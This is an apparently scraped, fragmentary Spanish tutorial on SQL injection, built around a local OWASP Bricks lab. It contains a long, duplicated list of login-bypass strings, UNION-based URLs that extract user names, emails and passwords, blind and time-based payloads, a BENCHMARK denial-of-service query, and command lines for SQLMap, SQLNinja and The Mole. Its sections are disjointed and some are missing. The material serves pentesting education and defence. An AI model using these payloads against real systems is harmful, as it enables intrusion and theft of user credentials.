Documente Academic
Documente Profesional
Documente Cultură
Informática
Herramientas y Técnicas
de Inyección SQL
1 SQLMap: http://sqlmap.org
2 SQLNinja: http://sqlninja.sourceforge.net
3 The Mole: http://themole.sourceforge.net
4 Top 10 OWASP: https://www.owasp.org/index.php/Top_10_2013-Top_10
5 SQL Injection Payload: http://blog.detectify.com/post/51651525114/the-ultimate-sql-injection-payload
Ejemplo: cuando se muestran los datos de un producto en la aplicación y la inyección
permite obtener otros resultados. Es el canal más utilizado en estos ataques.
• Out of band: Los datos se recuperan a partir de un canal distinto.
Ejemplo: Un formulario de recuperación de contraseña o usuario que envía un correo
electrónico con los resultados de la consulta SQL.
• Inferencial: No se devuelve ningún resultado de la inyección, pero el atacante es capaz de
reconstruir la información a partir de los resultados obtenidos de la consulta SQL.
Ejemplo: Consultas que no devuelven los datos, pero que es posible recuperar a partir
de los resultados.
3. Entorno de pruebas
Para realizar los ejemplos de inyección SQL se realizará la instalación de un entorno de
pruebas con la aplicación web OWASP Bricks6. OWASP Bricks es una aplicación web escrita en
PHP y MySQL orientada a los problemas más comunes en el desarrollo de aplicaciones. Incluye
problemas típicos como SQL Injection que pueden ser probados en un entorno de pruebas para
pentesting con el objetivo de aprendizaje de aspectos a tener en cuenta a la hora de realizar
aplicaciones.
Otras aplicaciones web muy interesantes para pruebas de intrusión se describen en el blog de
Taddong7.
3.1. Instalación
Para la instalación del OWASP Bricks es necesario PHP, MySQL y Apache Web Server. A
continuación se describe la instalación para distribuciones basadas en Debian.
1. Instalación de paquetes
$ sudo apt-get update
$ sudo apt-get install apache2 mysql-server mysql-client php5 php5-mysql
Figura 1: Configuración
inicial de Bricks.
• localhost/bricks/content-1/index.php?id=0 order by 9
También es posible cerrar la comilla antes de tiempo y comentar la comilla del código original.
Como es necesario que los comentarios de línea incluyan un espacio a continuación se utiliza el
símbolo + equivalente al espacio en la codificación de url.
Se puede saltar con cadenas de texto que cierren el paréntesis correctamente o terminen con
commentario.
como ') or 1=('1 para la contraseña o ') or 1=(1)-- - en campo de usuario.
Otras cadenas válidas para un formulario de inicio de sesión vulnerable a inyección SQL pueden ser
las que se citan a continuación:
' or '1'='1
' or 'x'='x
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
'or'1=1'
==
and 1=1--
and 1=1
' or 'one'='one--
' or 'one'='one
' and 'one'='one
' and 'one'='one--
1') and '1'='1--
admin' --
admin' #
admin'/*
or 1=1--
or 1=1#
or 1=1/*
) or '1'='1--
) or ('1'='1--
' or '1'='1
' or 'x'='x
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
'or'1=1'
Otras posibles opciones de ataque en los formularios se pueden encontrar en el blog de Zerofreak10.
Se puede acceder a los valores de una variable con la sentencia SELECT y usando @@
delante del nombre de la variable.
localhost/bricks/content-1/index.php?id=0 UNION SELECT
@@version,@@version_compile_machine,@@version_compile_os,4,5,6,7,8 LIMIT 1,1--
Figura 12: Las variables globales y parámetros del SGBD
permiten obtener información relevante.
Ahora se tiene disponible el nombre de la base de datos y el usuario que accede a ella.
Algunas funciones del gestor de base de datos permiten realizar operaciones de cálculo. En
MySQL se puede llegar a realizar una denegación del servicio sobrecargando la base de datos con
las siguientes operaciones:
• benchmark(count, expr): Es una función que realiza la expresión expr tantas veces como se
indique en count.
• SHA1(str)/SHA(str): Calcula el hash para el valor dado en str.
Para realizar una consulta varias veces se puede utilizar la consulta SELECT con la función
Benchmark:
mysql> SELECT BENCHMARK(1000000,SHA1(1));
Es posible obtener los nombre de los esquemas de bases de datos. Conociendo el nombre de la
base de datos se puede listar el nombre de las tablas utilizando information_schema, así como el
nombre de las columnas de cada tabla.
Utilizando la tabla schemata del catálogo information_schema se puede obtener las bases de
datos accesibles por el usuario de la conexión.
Como la página solo muestra un único resultado, se utiliza la cláusula GROUP_CONCAT para
concatenar los resultados en un única tupla y separados por comas.
localhost/bricks/content-1/index.php?id=1 AND 1=2 UNION SELECT
user(),GROUP_CONCAT(schema_name),3,4,5,6,7,8 from information_schema.schemata
Para obtener el nombre de las tablas de una la base de datos se usa la tabla tables de
information_schemas.
localhost/bricks/content-1/index.php?id=1 AND 1=2 UNION SELECT
user(),GROUP_CONCAT(table_name),3,4,5,6,7,8 from information_schema.tables WHERE
table_schema='bricks'
Ya se tiene información del nombre de la base de datos, tabla y columnas. Ahora solo es
necesario obtener las credenciales de usuario.
localhost/bricks/content-1/index.php?id=1 AND 1=2 UNION SELECT
GROUP_CONCAT(name), GROUP_CONCAT(email), GROUP_CONCAT(password), 4,5,6,7,8
from users
Figura 20: Extracción de información como nombre, email y
contraseña de los usuarios.
En caso de que la sentencia sql original entrecomille el valor del parámetros, basta con cerrar la
comilla en el valor del parámetro id y terminar la url con el comentario de línea y un espacio (--+).
Ejemplo: localhost/bricks/content-1/index.php?id=1' UNION SELECT
GROUP_CONCAT(name), GROUP_CONCAT(email), GROUP_CONCAT(password), 4,5,6,7,8
from users LIMIT 1,1--+
6. Inyección SQL Ciega
El ataque mediante inyección ciega o blind SQL injection no difiere de las técnicas basadas en
errores. Pero dado que no se pueden obtener los datos directamente es necesario realizar una serie
de técnicas utilizando condicionales.
Es posible realizar la búsqueda de tablas por fuerza bruta en la base de datos utilizando la
misma técnica condicional.
localhost/bricks/content-1/index.php?id=0 AND 1=(SELECT IF((SELECT COUNT(*) FROM
information_schema.tables WHERE table_name='users')>0,1,0))
La misma técnica se puede realizar para buscar nombres de tablas o columnas en el esquema de
datos.
localhost/bricks/content-1/index.php?id=0 AND 1=(SELECT IF((SELECT COUNT(*) FROM
information_schema.tables WHERE
table_name='users')>0,BENCHMARK(9999999,SHA(0x61)),0))
Sin embargo, existen técnicas que podría permitir evadir las reglas del IDS si no son lo
suficientemente robustas. Además, si el IDS/IPS está mal configurado, hay otros métodos para
evadir la detección del ataque.
A continuación se describen varias técnicas para la ofuscación de inyecciones SQL.
8.1. SQLMap
SQLMap es una herramienta open source en línea de comandos que realiza pruebas de
inyección SQL automáticas con características como tracking de la base de datos, fingerprinting y
extracción de datos.
Soporta múltiples sistemas gestores de bases de datos como Oracle, Microsoft SQL Server,
MySQL, PostgreSQL, DB2 o SQLite. Utiliza técnicas clásicas basadas en error o inyección ciega.
Está escrita en Python con lo cual se puede instalar en cualquier sistema operativo con
intérprete de Python. El código fuente se puede obtener de GitHub e incluye un wiki con bastante
documentación19.
Destaca por ser una herramienta muy robusta y fácil de manejar.
Para ejecutar SQLMap contra un objetivo se debe indicar la página completa con el recurso
incluido.
$ python sqlmap.py -u "http://localhost/bricks/content-1/index.php?id=0" -f --banner --dbs –
users
En un primer análisis detecta que posiblemente sea una base de datos MySQL y que el
parámetro id puede ser explotable.
Una vez que se conocen los nombres de los esquemas de bases de datos se puede extraer la
información de tablas con la opción --tables e indicando el nombre de base de datos con la opción
-D
$ python sqlmap.py -u "http://localhost/bricks/content-1/index.php?id=0" --tables -D bricks
SQL recupera y almacena los datos en un fichero csv. Además determina que la columna
password puede contener contraseñas y permite automatizar su recuperación a través de diccionario.
Figura 40: Recuperación de hash de contraseñas con diccionario.
8.2. SQLNinja
SqlNinja es una herramienta que permite explotar vulnerabilidades inyección SQL en
aplicaciones web que usan Microsoft SQL Server como back-end. Incluye características como
• Fingerprinting.
• Extracción de datos.
• Integración con Metasploit20 para interfaz gráfica de acceso al servidor de BD.
• Envío de ejecutables a través de peticiones HTTP.
• Shellcode21 remoto o bindshell directo o inverso por puertos TCP/UDP o a través de
túnel DNS o ICMP.
• Romper contraseñas por fuerza bruta con diccionarios.
• Escalada de privilegios con:
◦ Grupo sysadmin si se rompe la contraseña.
◦ churrasco.exe22 para escalada de privilegios en Windows 2003 Server.
◦ Vulnerabilidad CVE-2010-0232 en sqlservr.exe.
• Técnicas de evasión para confundir algunos IDS/IPS/WAF.
8.2.1. Instalación
SqlNinja está escrito en Perl y puede ser instalado en distribuciones de GNU/Linux, Mac o
Windows. Además requiere de los módulos de NetPacket, Net-Pcap, Net-DNS, Net-RawIP, IO-
Socket-SSL y DBI para perl.
A continuación se describen los pasos de instalación en Debian 7 Wheezy.
1. Instalar perl y paquete NetPacket
$ sudo apt-get install perl libnetpacket-perl libnet-pcap-perl
2. Descargar la versión establa de SQLNinja
$ wget http://sourceforge.net/projects/sqlninja/files/sqlninja/sqlninja-0.2.6-r1.tgz/download
-O sqlninja-0.2.6-r1.tgz
$ tar zxvf sqlninja-0.2.6-r1.tgz
$ cd sqlninja-0.2.6-r1
20 Metasploit: http://www.metasploit.com
21 Shellcode: http://en.wikipedia.org/wiki/Shellcode
22 churrasco.exe, MS Windows 2k3 Token Kidnapping Local Exploit: http://www.exploit-db.com/exploits/6705
8.2.2. Configuración
Para poder realizar ataques es necesario configurar el fichero sqlninja.conf con datos del
objetivo contra el que realizar las pruebas de pentesting.
SQLNinja incluye un fichero de configuración de ejemplo en la que se debe configurar el sitio
web de la víctima entre los parámetros de httpprequest:
$ cp sqlninja.conf.example sqlninja.conf
$ vim sqlninja.conf
## GET ##
--httprequest_start--
GET http://www.target.sqlserver.com/products/page.asp?n=100';__SQL2INJECT__&other_param=blah HTTP/1.1
Host: www.target.sqlserver.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*
Accept-Language: en-us,en;q=0.7,it;q=0.3
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Connection: close
--httprequest_end--
## POST ##
--httprequest_start--
POST https://www.target.sqlserver.com/contactform.asp HTTP/1.0
Host: www.target.sqlserver.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*
Accept-Language: en-us,en;q=0.7,it;q=0.3
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Content-Type: application/x-www-form-urlencoded
Cookie: ASPSESSIONID=xxxxxxxxxxxxxxxxxxxx
Connection: close
name=12;__SQL2INJECT__&address1=blabla&email=blabla@gmail.com&enquiry
%20type=bla&message=blablablablablabla
--httprequest_end--
## Cookies ##
--httprequest_start--
GET http://www.target.sqlserver.com/page.asp?n=100 HTTP/1.0
Host: www.target.sqlserver.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*
Accept-Language: en-us,en;q=0.7,it;q=0.3
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Cookie: ASPSESSIONID=xxxxx'%3B__SQL2INJECT__
Connection: close
--httprequest_end--
Se debe incluir en la variable __SQL2INJECT__ con el parámetros que se desea explotar, bien en
la url en parámetro GET, en parámetro POST o en la Cookie de sesión.
8.2.3. Ejecución
Se puede ejecutar en modo pruebas para comprobar si el sitio es vulnerable con el siguiente
comando:
$ ./sqlninja -m test
Figura 41: Ejecución SQLNinja en modo test.
Para ejecutar The Mole contra una aplicación web se deben indicar la url completa con los
parámetros explotables y una cadena de usar en el ataque.
1. Ejecutar en terminal el siguiente comando:
$ themole -u 'http://localhost/bricks/content-1/index.php?id=0' -n 'admin'
Figura 42: The Mole incluye un shell con comandos para automatizar la inyección.
Havij24 es una herramienta de pago disponible para Windows con interfaz de usuario y soporte
para Microsoft SQL Server y Mysql.
Además de las pruebas automatizadas de inyección SQL incluye almacenamiento de datos
formato cvs, uso de proxy, ofuscación del código y escaneo automático de parámetros entre otros.
24 Havij: http://www.itsecteam.com/products/havij-advanced-sql-injection
Figura 50: Interfaz de Havij.
8.4.2. Pangolin
Pangolin25 es una herramienta con interfaz de usuario y soporte para bases de datos Access,
DB2, Informix, Microsoft SQL Server, MySQL, Oracle, PostgreSQL, Sqlite3 y Sybase.
Algunas de sus características son soporte SSL, uso de proxy, personalización de cabeceras
HTTP (user-agent, cookies), análisis automático de palabras clave, gestión de puntos de inyección.
Pangolin es una herramienta de pago disponible para Windows. Se puede descargar la versión
de pruebas en la página oficial.
8.5. SQLiFuzzer
SQLifuzzer26 es una herramienta utilizada para identificar vulnerabilidades de inyección SQL
escrita en shell script. Permite realizar de forma automática inyección basada en errores, parcial y
totalmente ciega (basada en tiempo).
2. Ejecución
./sqlifuzzer-0.5.sh
Si un atacante pudiese manipular los datos enviados al operador $where, éste podría incluir código
JavaScript arbitrario para ser evaluado como parte de la consulta de MongoDB.
En la página de la fundación OWASP29, proyecto de código abierto para combatir las causas que
hacen el software inseguro, se puede obtener ejemplos de como se ven afectadas estas bases de
datos NoSQL ante la inyección de código Javascript.
10. Conclusiones
Existen diferentes técnicas de inyección SQL. El ataque más clásico es el basado en errores
utilizando la fuerza bruta a través de los resultados obtenidos en el mismo canal. Sin embargo, cabe
recordar que se pueden obtener resultados a través de otros canales.
Es importante realizar una implementación correcta de las aplicaciones que acceden a la base
de datos utilizando buenas prácticas de programación y evitando el uso de clases o métodos
obsoletos para el acceso a la base de datos. Además, los usuarios de acceso a la base de datos deben
tener limitado los privilegios así como el acceso al catálogo del SGBD.
Sistemas IDS/IPS como Snort o Suricata basados en firmas permiten detectar ataques de
inyección. Sin embargo, hay que tener en cuenta que un ataque puede ser ofuscado con diversas
técnicas. Además, un sistema mal configurado puede ser susceptible de que los ataques pasen
desapercibidos a través de canales cifrados o compresión de datos si la aplicación atacada lo
permite.
Por último, existen herramientas para la detección y extracción de inyección SQL que facilitan
todo el proceso de ataque o permiten realizar una auditoría sobre un sitio web o servidor de bases de
datos.
11. Referencias
• Aplicaciones para testing de Inyección SQL: http://blog.taddong.com/2011/10/hacking-
vulnerable-web-applications.html
• OWASP Bricks: http://sechow.com/bricks/index.html
• SQL Injection tutorial: http://zerofreak.blogspot.com.es/2012/03/tutorial-by-zer0freak-
difficulty-easy.html
27 MongoDB: http://www.mongodb.org
28 JSON: www.json.org
29 OWASP Testing NoSQL Inyection: https://www.owasp.org/index.php/Testing_for_NoSQL_injection
• Inyección SQL en PHP: http://dasunhegoda.com/php-security-fail-vulnerable/466/
• Ejemplos anti inyección de SQL para PHP: https://github.com/indieteq/PHP-MySQL-PDO-
Database-Class
• Conferencia de Inyección SQL en el Centro de novas tecnoloxías de Galicia por Artur L.
Pinto Monteiro :
http://www.nextvision.com/uploads/com_noticias/Exitoso_Seminario_de_NextVision_sobre
_SQL_Injection_en_el_Centro_de_Nuevas_Tecnologas_de_Galicia___1.pdf
• Mejores herramientas de SQLi: http://www.hackingarticles.in/best-of-hacking/best-sql-
injection-tools
• SQLMap: http://sqlmap.org
• Tutorial para SQLMap: http://www.binarytides.com/sqlmap-hacking-tutorial
• SQLNinja: http://sqlninja.sourceforge.net
• Tutorial SQLNinja: http://www.elithecomputerguy.com/2013/01/23/using-sql-ninja-in-
metasploit-for-basic-sql-injection-attacks
• The Mole: http://themole.sourceforge.net
• SQLifuzzer: http://code.google.com/p/sqlifuzzer
• NoSQL Inyection: https://www.owasp.org/index.php/Testing_for_NoSQL_injection